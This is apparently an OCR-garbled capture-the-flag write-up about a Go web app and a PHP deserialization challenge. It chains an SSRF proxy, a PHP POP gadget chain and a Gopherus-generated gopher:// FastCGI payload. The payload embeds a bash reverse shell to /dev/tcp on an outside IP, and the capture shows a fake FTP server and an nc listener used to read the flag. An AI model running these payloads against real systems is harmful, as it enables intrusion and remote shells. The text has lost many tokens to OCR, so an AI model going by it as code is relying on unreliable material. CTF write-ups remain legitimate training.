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type Url struct {
Url

1
J

type User struct {
Username

Password
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func MiddleWare() gin.HandlerFunc {
return func(c *gin.Context) {

session sessions.Default(c)

if session.Get( nil session.Get( os.Getenv(
c.Header(
c.String(200,

return

func loginController(c *gin.Context) {

session sessions.Default(c)
if session.Get( ) nil {
c.Redirect(http.StatusFound,

return

username c.PostForm(

password c.PostForm(

if username password
c.Header( 5
c.String(200,

return

conn, err mgo.Dial(MOGODB_URI)

if err nil {
panic(err)

defer conn.Close()
conn.SetMode (mgo.Monotonic, true)

db_table conn.DB( ).C(
result User{}
db_table.Find(bson.M{ : username
}) .0ne(&result)

if result.Username
c.Header(
c.String(200,
return

if username result.Username password result.Password {




, username
session.Set( , password)
session.Save()
c.Redirect(http.StatusFound,
return

} else {
c.Header(
c.String(200,

return

func proxyController(c *gin.Context) {

var url Url
if err c.ShouldBindJSON(&url); err
c.JSON(500, gin.H{ 1 err})

return

re regexp.MustCompile(
if re.MatchString(url.Url) {
c.JSON(403, gin.H{

return

client http.Client{Timeout: 2 * time.Second}

resp, err client.Get(url.Url)

if err nil {
c.JSON(http.StatusInternalServerError, gin.H{
return

b

defer resp.Body.Close()

var buffer [512]

result bytes.NewBuffer(nil)

for {
n, err resp.Body.Read(buffer[0:])
result.Write(buffer[0:n])
if err nil err io.EOF {

break

} else if err nil {
c.JSON(http.StatusInternalServerError, gin.H{
return

s
c.JSON(http.StatusOK, gin.H{ : result.String()})

func getController(c *gin.Context) {

: err.Error()})

: err.Error()})




cmd exec.Command ( , C.QueryArray(
err cmd.Run()
if err nil {

fmt.Println(

c.String(http.StatusOk,

func createMyRender() multitemplate.Renderer {
r multitemplate.NewRenderer()
r.AddFromFiles( 5
r.AddFromFiles(

return r

func main() {
router gin.Default()
router.Static(

p, err plugin.Open(
if err nil {

panic(err)

err p.Lookup(
err nil {
panic(err)
}
key f. (func() )(O)

storage cookie.NewStore([ ]byte(key))

router.Use(sessions.Sessions( , storage))
router.HTMLRender createMyRender ()
router.MaxMultipartMemory = 8 20

router.GET( , func(c *gin.Context) {

session sessions.Default(c)

if session.Get( ) nil {
c.Redirect(http.StatusFound,
return

} else {
c.Redirect(http.StatusFound,
return

i)

router.GET( , func(c *gin.Context) {
session sessions.Default(c)
if session.Get( ) nil {
c.Redirect(http.StatusFound,
return

}
c.HTML(200,




router.GET(
c.HTML (200,

router.POST(
router.GET(
router.POST(

, MiddleWare(), func(c
, gin.H{

gin.Context) {

)

, MiddleWare(), proxyController)
, getController)
, loginController)

router.Run(
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class Check {
public static $stri

public static $str2

1 BEMZ ubuntu 18.04

POST / HTTP/1.1

User-Agent: Wget/1.20.3 (linux-gnu)

Accept: */*

Accept-Encoding: identity

Host: 14444

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 43

flag{3796c058-8b43-460e-9945-38e9a7df9146}

ubuntu@VM-0-12-ubuntu:~/Temp$ ||




class Esle {
public function __ wakeup()

{
Check: :$stri1 true;

class Hint {

public function _ wakeup(){
$this->hint

public function _ destruct(){
if(!$this->hint){
$this->hint
($this->hint) ();

class Bunny {

public function

{

__toString()
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST[ 1;
)i
file put contents($this->filename, $this
} else {

throw new Error( )5

class Welcome {
public function __ invoke()
{
Check: :$str2 true;

return $this->username;

class Bypass {

public function _ destruct()
{
if (Check::$str1) {
($this->stra)();
} else {

throw new Error(

data);




unserialize($_GET[ 1);
} else {
highlight_file(__ FILE_ );

g
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public static $strl = false;
public static $str2 = false;

class Esle {

public function __ wakeup()

{
Check: :$stri1 true;

class Bunny {

public function _ toString()
{
echo ;
if (Check::$str2) {
if(!$this->data){
$this->data $ REQUEST[

file put contents($this->filename, $this->data);
} else {

throw new Error( )

class Welcome {

public function __ invoke()
{

echo ;

Check: :$str2 true;

return $this->username;




class Bypass {
public function __ construct()

{

$this->esle new Esle();

public function __ destruct()

{

echo ;
if (Check::$str1) {

($this->strd)();
} else {
throw new Error(

$b1l = new Bunny();
$bl->data ;
$b1l->filename

$we = new Welcome();
$we->username $b1;

$by = new Bypass();

$by->str4 = $we;

echo serialize($by);

0:6:"Bypass":2:{s:4:"esle";0:4:"Esle":0:{}s:4:"strd";0:7:"Welcome":1:{s:8:"username";0:5:"Bunny":2:{s:4:"data";s
:"123";s:8:"filename";s:5:"1.txt";}}}

FEA MBS PR AT TR




-—me—4 @ localhost:6334 @ localhost:633 ‘@Io(a\hcsl(’ x [P

Serializer
<« C @ O D localhost63342/Serializer/test18.php? = 38 & % N « » =
Serializer
Di
N @rasar O=as Oowa NReE Ome Ommes Ouse O Bee » 01 () - X
Encryption ~ Encoding ~ SQL ~ XSS~ Other ~ Contribute now! HackBar v2
@ Load URL http://localhost:63342/Serializer/test18.php?_ijt=59nbhops22Ik7mnmmgasg|5n2j&
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f:\Tools\WEB\Python-Tools\Gopherus-master
python gopherus.py --exploit fastcgi

author: $ SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/index.php

Terminal to run: bash -c

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%017%007%01%00%08%007%007%007%017%007%00%00%00%007%007%01%04%00%01%01%05%05%00%0F %10SERVER_SO
FTWAREg0%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%@3CONTENT_LENGTH103%0E%04|
REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%200n%@Adisable functions%20%3D%20%0Aauto_prepend_file’%20%
3D%20php%3A//input%@F%17SCRIPT_FILENAME/var/www/html/index.php%0@D%@1DOCUMENT_ROOT/%007%00%007%007%00%01%04%007%01%00
/6007%007%00%01%05%007%017%00g%04%00%3C%3Fphp%20system’%28%27bash%20-c%20%22bash%20-1%20%3E%26%20/dev/tcp/vpsip/4444%2
00%3E%261%22%27%29%3Bd1e%28%27 %0OA%27%29%3B%3F%3E%00%00%00%00

F T X B

%601%01%00%01%00%08%007%00%00%01%00%00%007%00%00%00%01%04%00%01%01%05%05%00%0F 6 10SERVER_SOFTWAREg0%20/%20fcgiclient

%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%@9KPHP

VALUEallow_url_ include%20%3D%200n%0Adisable functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%OF%17S

CRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%007%007%00%01%04%007%01%007%00%00%00%01%05%00%01%00g

%604%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-1%20%3E%26%20/dev/tcp/vpsip/4444%200%3E%261%22%27%29%3Bdie
%OA%27%29%3B%3F%3E%00%00%00%00

public static $stri false;
public static $str2 false;

class Esle {

public function _ wakeup()

{
Check::$strl = true;




echo
if (Check::$str2) {
if(!$this->data){
$this->data $ REQUEST[

file put contents($this->filename, $this->data);
} else {

throw new Error( )

class Welcome {

public function __ invoke()

{

echo ;
Check: :$str2 true;

return $this->username;

class Bypass {
public function __ construct()

{

$this->esle new Esle();

public function _ destruct()

{

echo ;
if (Check::$str1l) {

($this->str4)();

} else {
throw new Error(

new Bunny();
data = urldecode(

filename

new Welcome();
username $b1;

new Bypass();
str4 = $we;




echo urlencode(serialize($by));

0%3A6%3A%22Bypass»22%3A2%3A%7Bs%3A4%3A%22es1e%22%3B0%3A4%3A%22Es1e%22%3A0%3A%7B%7Ds%3A4%3A%22strd%22%3B0%3A7%3A%
22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3B0%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A4%3A%22data%22%3Bs%3A413%3A%22%0,
1%01%00%017%007%08%007%00%007%01%007%00%00%007%00%007%01%047%00%01%01%05%05%00%0F % 10SERVER_SOFTWAREgo+%2F+fcgiclient+%0B
%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%@3CONTENT_LENGTH103%0E%Q4REQUEST METHODPOST%@9KPHP_VAL
UEallow_url include+%3D+0n%@Adisable functions+%3D+%0Aauto_prepend file+%3D+php%3A%2F%2Finput%0F%17SCRIPT_FILENA
ME%2Fvar%2Fwww%2Fhtml%2Findex . php%@D%@1DOCUMENT_ROOT%2F%00%007%007%00%007%01%047%00%01%00%00%007%00%01%05%00%01%00g%0|
4%00%3C%3Fphp+system%28%27bash+-c+%22bash+-1+%3E%26+%2Fdev%2Ftcp%2F121.4.65.44%2FA444+0%3E%261%22%27%29%3Bdie%28
%27 %OA%27%29%3B%3F%3E%00%00%00%00%22%3Bs%3A8%3A%22filename%22%3Bs%3A28%3A%22Ftp%s3A%2F%2F
@2a%40121.4.65.44%3A23%2F123%22%3B%7D%7D%7D
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import socket
S socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(( VEDD)
s.listen(1)
addr s.accept()

.send(
.send(
.send(

.send(
.send(

.send(
.close()

HHnciir4444%5 0




« 1Bz ubuntu 18.04 + .

* Canonical Livepatch is available for installation. :
- Reduce system reboots and improve kernel security. Activate at:

New release '20.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Nov 8 15:07:51 2021 from iy
ubuntu@VM-0-12-ubuntu:~$ nc -lvnp 4444

Listening on [0.0.0.0] (family O, port 4444)

1 EEflz= ubuntu 18.04 -
ubuntu@VM-0-12-ubuntu:~/Temp$ sudo python ftp_server.py :

&JE, RRERZRFFINEEIHpayload

1 B ubuntu 18.04
sbin
srv
sudoers

www-data@2b53ac3ffe63:/¢$ cat flag

cat flag
flag{0923a9cd-0161-4334-b9f1-05e96ad0f6b5}
www-data@2b53ac3ffe63:/$ ||

© 1 B ubuntu 1804

ubuntu@VM-0-12-ubuntu:~/Temp$ sudo python ftp_server.py
PYRa Y] Ubuntu@VM-0-12-ubuntu:~/Temp$ vim ftp_server.py

N @HackBr O &S Dl Nrs DEts (Omtmss Que Ors Bee »
ubuntu@VM-0-12-ubuntu:~/Temp$ python ftp_server.py
Traceback (most recent call last):
@ Load URL A% 220tk 2% B YEIAI B GAY 22001 %01 %00%01%00HOB%D o File "ftp_server.py", line 3, in <module>
St URL %0F%10SERVER_SOFTWAREgo+%2F+fcgiclient+%0B%0SREMOTE_ADDR127.0.0.12 s.bind(('0.0.0.0"', 23))
& (AUl IS S e LRIV AR File "/usr/lib/python2.7/socket.py", line 228, in meth

%0F%17SCRIPT_FILENAME %2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMH *
%00g%04%00%3C%3Fphp+system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev% return g etattr ( self. —soc k » Name ) ( args )

SPyDBI——-%0A% 27%28%3BY%3F %3E%00%00%00%00%22%3Bs%3A8%3A%22fena A AL [Errno 13]
%TD%7D%TD ubuntu@VM-0-12-ubuntu:~/Temp$ sudo python ftp_server.py
ubuntu@VM-0-12-ubuntu:~/Temp$ ||

») Execute

Post data Referer User Agent Cookies Clear Al

> | sshy//ubuntu@121.4.65.44:2021 SsH2 xterm  "57x11 211,26 2E5E ~
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